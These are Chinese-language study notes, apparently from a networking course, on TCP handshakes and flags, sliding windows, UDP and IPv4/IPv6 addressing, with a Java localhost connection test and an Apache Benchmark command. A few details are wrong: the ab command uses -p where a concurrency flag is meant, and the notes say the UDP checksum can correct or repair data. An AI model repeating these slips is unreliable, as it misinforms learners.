提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
网络传输方式:
网络基础设施往往不能一次性传输太大的数据量,因此通常会将数据分片传输。
比如传输一个 MP3,我们会将 MP3 内容切分成很多个组,每个组也称作一个封包,英文都是 Packet。
这样,如果一个封包损坏,只需要重发损坏的封包,而不需要重发所有数据。
TCP 和 UDP 是今天应用最广泛的传输层协议,拥有最核心的垄断地位。今天互联网的整个传输层,几乎都是基于这两个协议打造的。
UDP是面向报文的协议,协议双方不需要建立连接,直接传送报文(数据)
TCP(Transport Control Protocol)
重点:
1、TCP 提供连接(Connection),让双方的传输更加稳定、安全。
2、TCP 是一个面向连接的协议(Connection -oriented Protocol),说的就是 TCP 协议参与的双方(Host)在收发数据之前会先建立连接。后面我们还会学习 UDP 协议,UDP 是一个面向报文(Datagram-oriented)的协议——协议双方不需要建立连接,直接传送报文(数据)。
3、连接需要消耗更多的资源。比如说,在传输数据前,必须先协商建立连接。因此,不是每种场景都应该用连接导向的协议。像视频播放的场景,如果使用连接导向的协议,服务端每向客户端推送一帧视频,客户端都要给服务端一次响应,这是不合理的。
5 层架构,我们称为互联网协议群,也称作 TCP/IP 协议群。总结下,主机到主机(Host-To-Host)为应用提供应用间通信的能力。
会话是应用层的概念,连接是传输层的概念
连接: 连接是数据传输双方的契约。连接是通信双方的一个约定,目标是让两个在通信的程序之间产生一个默契,保证两个程序都在线,而且尽快地响应对方的请求,这就是连接(Connection)。连接是网络行为状态的记录
连接是一种传输数据的行为。传输之前,建立一个连接。具体来说,数据收发双方的内存中都建立一个用于维护数据传输状态的对象,包括以下
会话:会话是应用的行为
eg:如微信创建一个聊天窗口,这个就是会话。你开始 Typing,开始传输数据,你和微信服务器间建立一个连接。如果你们聊一段时间,各自休息了,约定先不要关微信,1 个小时后再回来。那么连接会断开,因为聊天窗口没关,所以会话还在。
在有些系统设计中,会话会自动重连(也就是重新创建连接),或者帮助创建连接。 此外,会话也负责在多次连接中保存状态,比如 HTTP Session 在多次 HTTP 请求(连接)间保持状态(如用户信息)。
TCP 是一个双工协议,数据任何时候都可以双向传输。这就意味着客户端和服务端可以平等地发送、接收信息。正因为如此,客户端和服务端在 TCP 协议中有一个平等的名词——Host(主机)。
可靠性指数据保证无损传输。如果发送方按照顺序发送,然后数据无序地在网络间传递,就必须有一种算法在接收方将数据恢复原有的顺序。
多播情况还有强可靠性,就是如果有一个消息到达任何一个接收者
客户端要求断开连接,发送一个断开的请求,这个叫作(FIN)。
服务端收到请求,然后给客户端一个 ACK,作为 FIN 的响应。
这里你需要思考一个问题,可不可以像握手那样马上传 FIN 回去?
其实这个时候服务端不能马上传 FIN,因为断开连接要处理的问题比较多,比如说服务端可能还有发送出去的消息没有得到 ACK;也有可能服务端自己有资源要释放。因此断开连接不能像握手那样操作——将两条消息合并。所以,服务端经过一个等待,确定可以关闭连接了,再发一条 FIN 给客户端。
客户端收到服务端的 FIN,同时客户端也可能有自己的事情需要处理完,比如客户端有发送给服务端没有收到 ACK 的请求,客户端自己处理完成后,再给服务端发送一个 ACK。
补充:SYN、ACK、PSH 这些常见的标识位(Flag)在传输中如何表示:
为 TCP 协议增加协议头。在协议头中取多个位(bit),其中 SYN、ACK、PSH 都占有 1 个位。比如 SYN 位,1 表示 SYN 开启,0 表示关闭。因此,SYN-ACK 就是 SYN 位和 ACK 位都置 1。这种设计,我们也称为标识(Flag)【关于标识位和 TCP 头的内容,会在“04 | TCP 的稳定性:滑动窗口和流速控制是怎么回事"有更多介绍】
解答:tcp连接数上限其实受限于机器的内存,以8G内存为例,假设一个tcp连接需要占用的最小内存是8k(发送接收缓存各4k,当然还要考虑socket描述符),那么最大连接数为:810241024/8=1048576个,即约100万个tcp长连接。不过这只是理论数值,并未考虑实际业务。
public class Server {
public static void main(String[] argv) throws IOException {
var serverSocket = new ServerSocket();
var addr = new InetSocketAddress(3001);
serverSocket.bind(addr);
var list = new LinkedList<>();
while(true) {
var client = serverSocket.accept();
list.add(client);
System.out.println(list.size());
}
}
}
public class Client {
public static void main(String[] argv) throws IOException, InterruptedException {
var clients = new LinkedList<>();
for(int i = 0; i < 1000000; i++) {
var client = new Socket("127.0.0.1", 3001);
clients.add(client);
}
Thread.sleep(10000000);
}
}
通过运行上面这段程序,你可以观察到以下这几个现象:
创建 100W 连接速度不是很快,这说明 TCP 连接创建有成本(3 次握手,都是网络 IO);
用jps找到对应的进程的id,在用sudo cat /proc/{进程ID}/status | grep VmHWM可以看到实际的内存占用。按照这种增长趋势,8G 内存空间可以轻轻松松存放 100W 个连接。
但是如果单机建立太多的连接,会报一个Cannot assign requested address的异常,这是因为客户端连接服务端时,操作系统要为每个客户端分配一个端口,上面的程序很快会把端口号用尽。
所以,我们可以得出一个结论:核心的问题是,通信需要缓冲区,通信需要 I/O。这是因为通信占用资源,连接本身占用资源少。
大半个互联网都建立在 TCP 协议之上,我们使用的 HTTP 协议、消息队列、存储、缓存,都需要用到 TCP 协议——这是因为 TCP 协议提供了可靠性。
可靠性就是让数据无损送达。但若是考虑到成本,就会变得非常复杂——因为还需要尽可能地提升吞吐量、降低延迟、减少丢包率。
思考题
在传输层封包不能太大。这种限制,往往是以缓冲区大小为单位的。也就是 TCP 协议,会将数据拆分成不超过缓冲区大小的一个个部分。每个部分有一个独特的名词,叫作 TCP 段(TCP Segment)。
在接收数据的时候,一个个 TCP 段又被重组成原来的数据。
拆包:数据经过拆分,然后传输,然后在目的地重组,俗称拆包。所以拆包是将数据拆分成多个 TCP 段传输。
粘包:有时候,如果发往一个目的地的多个数据太小了,为了防止多次发送占用资源,TCP 协议有可能将它们合并成一个 TCP 段发送,在目的地再还原成多个数据,这个过程俗称粘包。所以粘包是将多个数据合并成一个 TCP 段发送。
1)URG 代表这是一个紧急数据,比如远程操作的时候,用户按下了 Ctrl+C,要求终止程序,这种请求需要紧急处理。
2)ACK 代表响应,我们在“02 | 传输层协议 TCP:TCP 为什么握手是 3 次、挥手是 4 次?”讲到过,所有的消息都必须有 ACK,这是 TCP 协议确保稳定性的一环。
3)PSH 代表数据推送,也就是在传输数据的意思。
4)SYN 同步请求,也就是申请握手。
5)FIN 终止请求,也就是挥手。
特别说明一下:以上这 5 个标志位,每个占了一个比特,可以混合使用。比如 ACK 和 SYN 同时为 1,代表同步请求和响应被合并了。这也是 TCP 协议,为什么是三次握手的原因之一。
6) Window 也是 TCP 保证稳定性并进行流量控制的工具,我们会在“04 | TCP 的稳定性:滑动窗口和流速控制是怎么回事?”中详细介绍。
7)Checksum 是校验和,用于校验 TCP 段有没有损坏。
8)Urgent Pointer 指向最后一个紧急数据的序号(Sequence Number)。它存在的原因是:有时候紧急数据是连续的很多个段,所以需要提前告诉接收方进行准备。
9)Options 中存储了一些可选字段,比如接下来我们要讨论的 MSS(Maximun Segment Size)。
10)Padding 存在的意义是因为 Options 的长度不固定,需要 Pading 进行对齐。
在复杂的网络环境当中,即便所有的段是顺序发出的,也不能保证它们顺序到达,因此,发出的每一个 TCP 段都需要有序号。这个序号,就是 Sequence Number(Seq)。
发送数据的时候,为每一个 TCP 段分配一个自增的 Sequence Number。接收数据的时候,虽然得到的是乱序的 TCP 段,但是可以通过 Seq 进行排序。
但是这样又会产生一个新的问题——接收方如果要回复发送方,也需要这个 Seq。而网络的两个终端,去同步一个自增的序号是非常困难的。因为任何两个网络主体间,时间都不能做到完全同步,又没有公共的存储空间,无法共享数据,更别说实现一个分布式的自增序号了。
其实这个问题的本质就好像两个人在说话一样,我们要确保他们说出去的话,和回答之间的顺序。因为 TCP 是一个双工的协议,两边可能会同时说话。所以聪明的科学家想到了确定一句话的顺序,需要两个值去描述——也就是发送的字节数和接收的字节数。
压力测试最常见的工具是 Apache Benchmark(简称 AB),在 Linux 下面可以通过包管理器安装 ab:
yum install httpd-tools
// 或
apt-get install apache2-utils
ab 安装好后,可以利用下面这条指令向某个网站发送并发 1000 的 10000 次请求:
ab -n 10000 -p 1000 https://example.com/
ab 是用 C 语言写的,作为一个随手就可以用的工具,它的设计非常简单,是一个单线程的工作模型,因此如果遇到阻塞情况,可能直接导致 ab 工具自己积压崩溃。
所以。这里推荐一个 Java 生态好用的工具“JMeter”,拥有可视化的界面。这个工具在各个平台上都可以用,比 ab 稳定,有图形化界面,可以配置任意线程数量,还有可视化的图表支持。
保证顺序的具体算法,以及如何在保证顺序的基础上,同时追求更高的吞吐量。
滑动窗口和流速控制是怎么回事?
【解析】滑动窗口是 TCP 协议控制可靠性的核心。发送方将数据拆包,变成多个分组。然后将数据放入一个拥有滑动窗口的数组,依次发出,仍然遵循先入先出(FIFO)的顺序,但是窗口中的分组会一次性发送。窗口中序号最小的分组如果收到 ACK,窗口就会发生滑动;如果最小序号的分组长时间没有收到 ACK,就会触发整个窗口的数据重新发送。
另一方面,在多次传输中,网络的平均延迟往往是相对固定的,这样 TCP 协议可以通过双方协商窗口大小控制流速。补充下,上面我们说的分组和 TCP 段是一个意思。
TCP 作为一个传输层协议,最核心的能力是传输。传输需要保证可靠性,还需要控制流速,这两个核心能力均由滑动窗口提供。而滑动窗口中解决的问题,是你在今后的工作中可以长期使用的,比如设计一个分布式的 RPC 框架、实现一个消息队列或者分布式的文件系统等。
问题: 每一个请求收到响应之后,再发送下一个请求,吞吐量会很低。因为这样的设计,会产生网络的空闲时间,说白了,就是浪费带宽。带宽没有用满,意味着可以同时发送更多的请求,接收更多的响应。
改进的方式:
带宽不足的情况下,很多个数据封包都需要发送,该如何处理:
1)排队:
这个模型有什么问题吗?(收到ACK不确定)
这样做就需要多个队列,我们要将未发送的数据从队列中取出,加入发送中的队列。然后再将发送中的数据,收到 ACK 的部分取出,放入已接收的队列。而发送中的封包,何时收到 ACK 是一件不确定的事情,这样使用队列似乎也有一定的问题。
如上图所示:
深绿色代表已经收到 ACK 的段
浅绿色代表发送了,但是没有收到 ACK 的段
白色代表没有发送的段
紫色代表暂时不能发送的段
如果发送过程中,部分数据没能收到 ACK 会怎样呢?这就可能发生重传。
如果发生下图这样的情况,段 4 迟迟没有收到 ACK。
这个时候滑动窗口只能右移一个位置,如下图所示:
在这个过程中,如果后来段 4 重传成功(接收到 ACK),那么窗口就会继续右移。如果段 4 发送失败,还是没能收到 ACK,那么接收方也会抛弃段 5、段 6、段 7。这样从段 4 开始之后的数据都需要重发。
在 TCP 协议中,如果接收方想丢弃某个段,可以选择不发 ACK。发送端超时后,会重发这个 TCP 段。而有时候,接收方希望催促发送方尽快补发某个 TCP 段,这个时候可以使用快速重传能力。
例如段 1、段 2、段 4 到了,但是段 3 没有到。 接收方可以发送多次段 3 的 ACK。如果发送方收到多个段 3 的 ACK,就会重发段 3。这个机制称为快速重传。这和超时重发不同,是一种催促的机制。
为了不让发送方误以为段 3 已经收到了,在快速重传的情况下,接收方即便收到发来的段 4,依然会发段 3 的 ACK(不发段 4 的 ACK),直到发送方把段 3 重传。
思考:窗口大小的单位是?
请你思考另一个问题,窗口大小的单位是多少呢?在上面所有的图片中,窗口大小是 TCP 段的数量。实际操作中,每个 TCP 段的大小不同,限制数量会让接收方的缓冲区不好操作,因此实际操作中窗口大小单位是字节数。
发送、接收窗口的大小可以用来控制 TCP 协议的流速。
举个例子:我们用 RTT 表示 Round Trip Time,就是消息一去一回的时间。
假设 RTT = 1ms,带宽是 1mb/s。如果窗口大小为 1kb,那么 1ms 可以发送一个 1kb 的数据(含 TCP 头),1s 就可以发送 1mb 的数据,刚好可以将带宽用满。如果 RTT 再慢一些,比如 RTT = 10ms,那么这样的设计就只能用完 1/10 的带宽。 当然你可以提高窗口大小提高吞吐量,但是实际的模型会比这个复杂,因为还存在重传、快速重传、丢包等因素。
而实际操作中,也不可以真的把带宽用完,所以最终我们会使用折中的方案,在延迟、丢包率、吞吐量中进行选择,毕竟鱼和熊掌不可兼得。
接收方应该是有窗口大小的,当接收方给发送方回复ack的时候会携带接收方窗口大小,发送方就会根据这个回复来动态调整自己的窗口大小,毕竟网络是不稳定的。双方协商,就是带上窗口大小。窗口大小通常是接收方说了算。
【解析】TCP 最核心的价值就是提供封装好的一套解决可靠性的优秀方案。解决可靠性是非常复杂的,要考虑非常多的因素。TCP 帮助我们在确保吞吐量、延迟、丢包率的基础上,保证可靠性。UDP 则不同,UDP 提供了最小版的实现,只支持 Checksum。UDP 最核心的价值是灵活、轻量、传输速度快。
UDP 在数据传输、网络控制、音视频、Web 技术中,都有很重要的地位。
UDP(User Datagram Protocol),目标是在传输层提供直接发送报文(Datagram)的能力。
Datagram 是数据传输的最小单位。UDP 协议不会帮助拆分数据,它的目标只有一个,就是发送报文。
为什么不直接调用 IP 协议呢? 如果裸发数据,IP 协议不香吗?
这是因为传输层协议在承接上方应用层的调用,需要提供应用到应用的通信——因此要附上端口号。每个端口,代表不同的应用。传输层下层的 IP 协议,承接传输层的调用,将数据从主机传输到主机。IP 层不能区分应用,导致哪怕是在 IP 协议上进行简单封装,也需要单独一个协议。这就构成了 UDP 协议的市场空间。
UDP 的设计目标就是在允许用户直接发送报文的情况下,最大限度地简化应用的设计。下图是 UDP 的报文格式。
UDP 的报文非常简化,只有 5 个部分。
Source Port 是源端口号。因为 UDP 协议的特性(不需要 ACK),因此这个字段是可以省略的。但有时候对于防火墙、代理来说,Source Port 有很重要的意义,它们需要用这个字段行过滤和路由。
Destination Port 是目标端口号(这个字段不可以省略)。
Length 是消息体长度。
Checksum 是校验和,作用是检查封包是否出错。
Data octets 就是一个字节一个字节的数据,Octet 是 8 位。
校验和(Checksum)机制
把数据分成一个一个 byte,然后将所有 byte 相加,再将最终的结果取反。
比如现在数据有 4 个 byte:a,b,c,d,那么一种最简单的校验和就是:
checksum=(a+b+c+d) ^ 0xff
如果发送方用上述方式计算出 Checksum,并将 a,b,c,d 和 Checksum 一起发送给接收方,接收方就可以用同样的算法再计算一遍,这样就可以确定数据有没有发生损坏(变化)。当然 Checksum 的做法,只适用于数据发生少量变化的情况。如果数据发生较大的变动,校验和也可能发生碰撞。
**UDP 的可靠性保证仅仅就是 Checksum 一种。**如果一个数据封包 Datagram 发生了数据损坏,UDP 可以通过 Checksum 纠错或者修复。 但是 UDP 没有提供再多的任何机制,比如 ACK、顺序保证以及流控等。
TCP 核心是要在保证可靠性提供更好的服务。TCP 会有握手的过程,需要建立连接,保证双方同时在线。而且TCP 有时间窗口持续收集无序的数据,直到这一批数据都可以合理地排序组成连续的结果。
UDP 并不具备以上这些特性,它只管发送数据封包,而且 UDP 不需要 ACK,这意味着消息发送出去成功与否 UDP 是不管的。
所以理论上,任何一个用 TCP 协议构造的成熟应用层协议,都可以用 UDP 重构。
远程控制(SSH)
File Transfer Protocol(FTP)
邮件(SMTP、IMAP)等
点对点文件传出(微信等)
网络游戏
音视频传输
DNS
Ping
直播
HTTP(目前以 TCP 为主)
文件传输
(TCP/UDP 的边界逐渐变得模糊,UDP 应用越来越多。比如传输文件,如果考虑希望文件无损到达,可以用 TCP。如果考虑希望传输足够块,就可能会用 UDP。再比如 HTTP 协议,如果考虑请求/返回的可靠性,用 TCP 比较合适。但是像 HTTP 3.0 这类应用层协议,从功能性上思考,暂时没有找到太多的优化点,但是想要把网络优化到极致,就会用 UDP 作为底层技术,然后在 UDP 基础上解决可靠性。)
【解析】所有在线联机游戏都有件非常重要的事情需要完成,就是确定事件发生的唯一性,这个性质和聊天工具是类似的。
你在王者荣耀中控制后羿释放技能,这是一个事件。同时,王昭君放了大招,这是第二个事件。两个事件一定要有先后顺序吗?答案是当然要有。因为游戏在同一时刻只能有一个状态。
类比一下,多个线程同时操作内存,发生了竞争条件(具体分析可以参见《重学操作系统》专栏关于“线程”的内容),那么是不是意味着,内存在同一时刻有两个状态呢?当然不是,内存同时刻只能有一个状态,所以多个线程的操作必须有先有后。
回到 Moba 游戏的问题,每个事件,游戏服务器必须给一个唯一的时序编号,对应后羿的技能和王昭君的技能。所以,在线竞技类游戏,事实上是玩家在不断向服务器竞争一个自增序列号的过程。无论客户端发生怎样的行为,只有竞争到自增 ID 才能进步。也就是说,服务器要尽快响应多个客户端提交的事件,并以最快的速度分配自增序号,然后返回给客户端。
所以,Moba 服务端的核心是自增序号的计算和尽量缩减延迟。从这个角度出发,你再来看看,应该用 TCP 协议还是 UDP 协议呢?
虽然TCP 协议有 3 次握手,但是连接上之后,双方就不会再有额外的传输成本,因此创建连接的成本,可以忽略不计。
同时,TCP 协议还提供稳定性支持,不需要自己实现稳定性。如果规模较小的在线竞技类游戏,TCP 完全适用。但是当游戏玩家体量上升后,TCP 协议的头部(数据封包)较大,会增加服务器额外的 I/O 压力。要发送更多的数据,自然有更大的 I/O 压力。从这个角度来看,UDP 就有了用武之地。
当你既要保证 FIFO,又要提供多处理的数据结构时,可以想到滑动窗口;
当你设计请求/响应模型的时,可以想到多路复用;
当你为自己的应用选择协议时,可以想到实现可靠性最基本的思路。
【解析】寻址(Addressing)就是通过地址找设备。和现实生活中的寻址是一样的,比如根据地址找到一个公寓。在 IPv4 协议中,寻址找到的是一个设备所在的位置。
路由(Routing)本质是路径的选择。就好像知道地址,但是到了每个十字路口,还需要选择具体的路径。
所以,要做路由,就必须能够理解地址,也就是需要借助寻址的能力。要通过寻址找到最终的设备,又要借助路由在每个节点选择数据传输的线路。因此,路由和寻址,是相辅相成的关系。
正文:
如果说传输层协议,除了 TCP/UDP,我们还可以有其他选择,比如 Google 开发的 QUIC 协议,帮助在传输层支持 HTTP 3.0 传输。但是在网络层,IP 协议几乎一统天下。IP 协议目前主要有两个版本 IPv4 和 IPv6。
IP 协议(Internet Protocol)是一个处于垄断地位的网络层协议。 IPv4 就是 IP 协议的第 4 个版本,是目前互联网的主要网络层协议。IPv4 为传输层提供 Host-To-Host 的能力,IPv4 需要底层数据链路层的支持。
IP 协议并不负责数据的可靠性。传输数据时,数据被切分成一个个数据封包。IP 协议上层的传输层协议会对数据进行一次拆分,IP 协议还会进一步进行拆分。进行两次拆分是为了适配底层的设备。
IP 协议自身不能保证可靠性。比如 IP 协议可能会遇到下面这几个问题:
封包损坏(数据传输过程中被损坏);
丢包(数据发送过程中丢失);
重发(数据被重发,比如中间设备通过 2 个路径传递数据);
乱序(到达目的地时数据和发送数据不一致)。
但是 IP 协议并不会去处理这些问题,因为网络层只专注解决网络层的问题, 而且不同特性的应用在不同场景下需要解决的问题不一样。对于网络层来说,这里主要有 3 个问题要解决:
延迟
吞吐量
丢包率
这三个是鱼和熊掌不能兼得。
P 协议目前主要有两种架构,一种是 IPv4,是目前应用最广泛的互联网协议;另一种是 IPv6,目前世界各地正在积极地部署 IPv6。
IP 协议接收 IP 协议上方的 Host-To-Host 协议传来的数据,然后进行拆分,这个能力叫作分片(Fragmentation)。然后 IP 协议为每个片段(Fragment)增加一个 IP 头(Header),组成一个IP 封包(Datagram)。之后,IP 协议调用底层的局域网(数据链路层)传送数据。最后 IP 协议通过寻址和路由能力最终把封包送达目的地。
分片就是把数据切分成片。 IP 协议通过它下层的局域网(链路层)协议传输数据,因此需要适配底层传输网络的传输能力。数据太大通常就不适合底层网络传输,这就需要把大的数据切片。
当然也可能选择不切片,IP 协议提供了一个能力就是把封包标记为不切片,当底层网络看到不切片的封包,又没有能力传输的时候,就会丢弃这个封包。你要注意,在网络环境中往往存在多条路径,一条路径断了,说不定其他路径可以连通。
切片完成之后,IP 协议会为每个切片(数据封包 Datagram)增加一个协议头。一个 IPv4 的协议头看上去就是如下图所示的样子
其中分成 4 个部分。
最重要的是原地址和目标地址。IPv4 的地址是 4 组 8 位的数字,总共是 32 位。具体地址的作用我们在下面的“寻址部分”介绍。
Type Of Service 服务的类型,是为了响应不同的用户诉求,用来选择延迟、吞吐量和丢包率之间的关系。关于这块知识,本讲后半部分就会分析。
IHL(Internet Header Length)用来描述 IP 协议头的大小。所以 IP 协议头的大小是可变的。IHL 只有 4 位,最大值 1111 = 15。最大是 15 个双字(15*4 字节 = 60 字节)。
Total Length 定义报文(封包 Datagram)的长度。
Identification(报文的 ID),发送方分配,代表顺序。
Fragment offset 描述要不要分包(拆分),以及如何拆分。
Time To Live 描述封包存活的时间。因此每个 IP 封包发送出去后,就开始销毁倒计时。如果倒计时为 0,就会销毁。比如中间的路由器看到一个 TTL 为 0 的封包,就直接丢弃。
Protocol 是描述上层的协议,比如 TCP = 6,UDP = 17。
Options 代表可选项。
Checksum 用来检验封包的正确性,具体原理我们在“05 | UDP 协议:TCP 协议和 UDP 协议的优势和劣势?”中已经介绍过了,如果 Checksum 对不上,就需要选择丢弃这个封包。
上面我们看到 IPv4 协议中提供了一个叫作 Type of Service(服务类型)的字段。这个字段是为了在延迟、吞吐量和丢包率三者间选择。
延迟指的是 1 bit 的数据从网络的一个终端传送到另一个终端需要的时间。这个时间包括在发送端准备发送的时间、排队发送的时间、发送数据的时间、数据传输的时间等。
吞吐量指单位时间内可以传输的平均数据量。比如用 bit/s 作为单位,就是 bps。吞吐量和延迟没有联系,比如延迟很高的网络,有可能吞吐量很高。可以类比成水管很大流速很慢,对比水管很细流速很快,这两种情况,最终流量可以是相等的。
丢表率指发送出去的封包没有到达目的地的比例。 在最大流速确定的网络中,丢包率会直接影响吞吐量。
场景:
需要低延迟,比如玩一款 RTS 游戏或者 Moba 游戏,这种时候延迟非常重要。另外如果把延迟看作一个平均指标,丢包也会影响延迟——一个包丢了,需要重发。
而有的应用需要高吞吐量,延迟不是很重要,比如说网盘下载文件。
大部分应用期望丢包不能太严重,比如语音电话,少量丢包还能听清,大量丢包就麻烦了,根本听不清对方说什么。严格希望不丢包的应用比较少,只有极特殊的网络控制管理场景,才需要在互联网层要求不丢包。
当然这三个条件,通常不能同时满足。如果同时追求延迟、吞吐量、丢包率,那么对网络设备的要求就会非常高,说白了就会非常贵。因此 IP 协议头中的 Type of Service 字段里,有以下 4 种主要的类型可以选择:
低延迟
高吞吐量
低丢包率
低成本
地址想要表达的是一个东西在哪里。寻址要做的就是:给一个地址,然后找到这个东西。IPv4 协议的寻址过程是逐级寻址。
IPv4 地址是 4 个 8 位(Octet)排列而成,总共可以编址 43 亿个地址。
比如 103.16.3.1 就是一个合法的 Ipv4 地址。4 组数字用.分开,是为了让人可读,实际上在内存和传输过程中,就是直接用 32 位。
寻址就是如何根据 IP 地址找到设备。因为 IPv4 的世界中,网络是一个树状模型。顶层有多个平行的网络,每个网络有自己的网络号。然后顶层网络下方又有多个子网,子网下方还有子网,最后才是设备。
103.16.3.1 & 255.0.0.0 = 103.0.0.0
因此103.0.0.0就是103.16.3.1所在的顶层网络。255.0.0.0.称作子网掩码。子网掩码的作用就是帮助根据 IP 地址找到对应子网。子网掩码是很多个1接着很多个0,和 IP 地址一起使用。
接下来要找到下一级网络,就需要用 IP 地址和下一级的子网掩码做位与运算。 比如:
103.16.3.1 & 255.255.0.0 = 103.16.0.0
接下来使用255.255.255.0子网掩码找到下一级网络是103.16.3.0。
设备就在子网103.16.3.0中,最终找到的设备号是1。
当然子网掩码也不一定都是255,比如这个子网掩码255.240.0.0也是可以的。但通常我们把 IPv4 的网络分成这样 4 层。
在寻址过程中,数据总是存于某个局域网中。如果目的地在局域网中,就可以直接定位到设备了。如果目的地不在局域网中,这个时候,就需再去往其他网络。
由于网络和网络间是网关在连接,因此如果目的地 IP 不在局域网中,就需要为 IP 封包选择通往下一个网络的路径,其实就是选择其中一个网关。你可能会问:网关有多个吗?如果一个网络和多个网络接壤,那自然需要多个网关了。下图中,路由器在选择 IP 封包下一个应该是去往哪个 Gateway?
假如,我们要为 IP 地址 14.215.177.38 寻址,当前路由器所在的网络的编号是16.0.0.0。那么我们就需要知道去往 14.0.0.0 网络的 Gateway IP 地址。
如果你在当前网络中用route查看路由表,可能可以看到一条下面这样的记录。
Destination:14.0.0.0
Gateway:16.12.1.100
Mask:255.0.0.0
Iface:16.12.1.1
这条记录就说明如果你要去往 14.0.0.0 网络,IP 地址 14.215.177.38 先要和 255.0.0.0 进行位运算,然后再查表,看到 14.0.0.0,得知去往 Gateway 的网卡(IFace)是 16.12.1.1。
当封包去向下一个节点后,会进入新的路由节点,然后会继续上述路由过程,直到最终定位到设备。
127.0.0.1是本地回环地址(loopback),发送到 loopback 的数据会被转发到本地应用。
localhost 指代的是本地计算机,用于访问绑定在 loopback 上的服务。localhost 是一个主机名,不仅仅可以指向 IPv4 的本地回环地址,也可以指向 IPv6 的本地回环地址 [::1]。
0.0.0.0是一个特殊目的 IP 地址,称作不可路由 IP 地址,它的用途会被特殊规定。通常情况下,当我们把一个服务绑定到0.0.0.0,相当于把服务绑定到任意的 IP 地址。比如一台服务器上有多个网卡,不同网卡连接不同的网络,如果服务绑定到 0.0.0.0 就可以保证服务在多个 IP 地址上都可以用。
【解析】Tunnel 就是隧道,这和现实中的隧道是很相似的。隧道不是只有一辆车通过,而是每天都有大量的车辆来来往往。两个网络,用隧道连接,位于两个网络中的设备通信,都可以使用这个隧道。隧道是两个网络间用程序定义的一种通道。具体来说,如果两个 IPv6 网络被 IPv4 分隔开,那么两个 IPv6 网络的出口处(和 IPv4 网络的网关处)就可以用程序(或硬件)实现一个隧道,方便两个网络中设备的通信。
正文:
Pv4 用 32 位整数描述地址,最多只能支持 43 亿设备,显然是不够用的,这也被称作 IP 地址耗尽问题。
为了解决这个问题,有一种可行的方法是拆分子网。拆分子网,会带来很多问题,比如说内外网数据交互,需要网络地址转换协议(NAT 协议),增加传输成本。再比如说,多级网络会增加数据的路由和传输链路,降低网络的速度。理想的状态当然是所有设备在一个网络中,互相可以通过地址访问。
为了解决这个问题,1998 年互联网工程工作小组推出了全新款的 IP 协议——IPv6 协议。但是目前 IPv6 的普及程度还不够高。既然不能做到完全普及,也就引出了本讲关联的一道面试题目:什么是 Tunnel 技术?
IPv6 的工作原理和 IPv4 类似,分成切片(Segmentation)、增加封包头、路由(寻址)这样几个阶段去工作。IPv6 同样接收上方主机到主机(Host-to-Host)协议传递来的数据,比如一个 TCP 段(Segment),然后将 TCP 段再次切片做成一个个的 IPv6 封包(Datagram or Packet),再调用底层局域网能力(数据链路层)传输数据。具体的过程如下图所示:
作为网络层协议的 IPv6,最核心的能力是确保数据可以从发送主机到达接收主机。因此,和 IPv4 类似,IPv6同样需要定义地址的格式,以及路由算法如何工作。
IPv4 的地址是 4 个 8 位(octet),总共 32 位。 IPv6 的地址是 8 个 16 位(hextet),总共 128 位。
格式上:
IPv4 的地址用.分割,如103.28.7.35。每一个是 8 位,用 0-255 的数字表示。
IPv6 的地址用:分割,如0123:4567:89ab:cdef:0123:4567:89ab:cdef,总共 8 个 16 位的数字,通常用 16 进制表示。
完整:0123:4567:0000:0000:0123:4567:0000:cdef
简写:0123:4567::0123:4567:0000:cdef
::只能出现一次,相当于省略了若干组0000。比如说1111::2222相当于中间省略了 6 组0000。为什么不能出现两个::呢?因为如果有两个::,就会对省略的0000的位置产生歧义。比如说1111::2222:3333,你就不知道究竟0000在1111::2222和2222::3333是怎么分布的。
开头的0也可以简写 123:4567::123:4567:0:cdef
还有一种情况我们想要后面部分都填0,比如说3c4d::/16,这个代表只有前16位有数据,后面是0;1234:5878:abcd/64代表只有左边64位有数据,后面是 0;再比如ff00/8,只有左边 8 位是有数据的。
IPv6 的寻址分成了几种类型:
全局单播寻址(和 IPv4 地址作用差不多,在互联网中通过地址查找一个设备,简单来说,单播就是 1 对 1);
本地单播(类似 IPv4 里的一个内部网络,要求地址必须以fe80开头,类似我们 IPv4 中127开头的地址);
分组多播(Group Multicast),类似今天我们说的广播,将消息发送给多个接收者;
任意播(Anycast),这个方式比较特殊。
全局单播,就是将消息从一个设备传到另一个设备,这和 IPv4 发送/接收消息大同小异。而全局单播地址,目标就是定位网络中的设备,这个地址和 IPv4 的地址作用相同,只不过格式略有差异。总的来说,IPv6 地址太多,因此不再需要子网掩码,而是直接将 IPv6 的地址分区即可。
在实现全局单播时,IPv6 地址通常分成 3 个部分:
站点前缀(Site Prefix)48bit,一般是由 ISP(Internet Service Providor,运营商)或者RIR(Regional Internet Registry, 地区性互联网注册机构),RIR 将 IP 地址分配给运营商;
子网号(Subnet ID),16bit,用于站点内部区分子网;
接口号(Interface ID), 64bit,用于站点内部区分设备。
IPv6 的寻址过程就是先通过站点前缀找到站点,然后追踪子网,再找到接口(也就是设备的网卡)。
理论上,虽然 IPv6 可以将所有的设备都连入一个网络。但在实际场景中,很多公司还是需要一个内部网络的。这种情况在 IPv6 的设计中属于局域网络。
在局域网络中,实现设备到设备的通信,就是本地单播。IPv6 的本地单播地址组成如下图所示:
这种协议比较简单,本地单播地址必须以fe80开头,后面 64 位的 0,然后接上 54 位的设备编号。上图中的 Interface 可以理解成网络接口,其实就是网卡。
广播,就是将消息同时发送给多个接收者。
IPv6 中设计了分组多播,来实现广播的能力。当 IP 地址以 8 个 1 开头,也就是ff00开头,后面会跟上一个分组的编号时,就是在进行分组多播。
这个时候,我们需要一个广播设备,在这个设备中已经定义了这些分组编号,并且拥有分组下所有设备的清单,这个广播设备会帮助我们将消息发送给对应分组下的所有设备。
任意播,本质是将消息发送给多个接收方,并选择一条最优的路径。这样说有点抽象,接下来我具体解释一下。
比如说在一个网络中有多个授时服务,这些授时服务都共享了一个任播地址。当一个客户端想要获取时间,就可以将请求发送到这个任播地址。客户端的请求扩散出去后,可能会找到授时服务中的一个或者多个,但是距离最近的往往会先被发现。这个时候,客户端就使用它第一次收到的授时信息修正自己的时间。
目前 IPv6 还没有完全普及,大部分知名的网站都是同时支持 IPv6 和 IPv4。这个时候我们可以分成 2 种情况讨论:
一个 IPv4 的网络和一个 IPv6 的网络通信;
一个 IPv6 的网络和一个 IPv6 的网络通信,但是中间需要经过一个 IPv4 的网络。
例如一个 IPv6 的客户端,想要访问 IPv4 的服务器,步骤如下图所示:
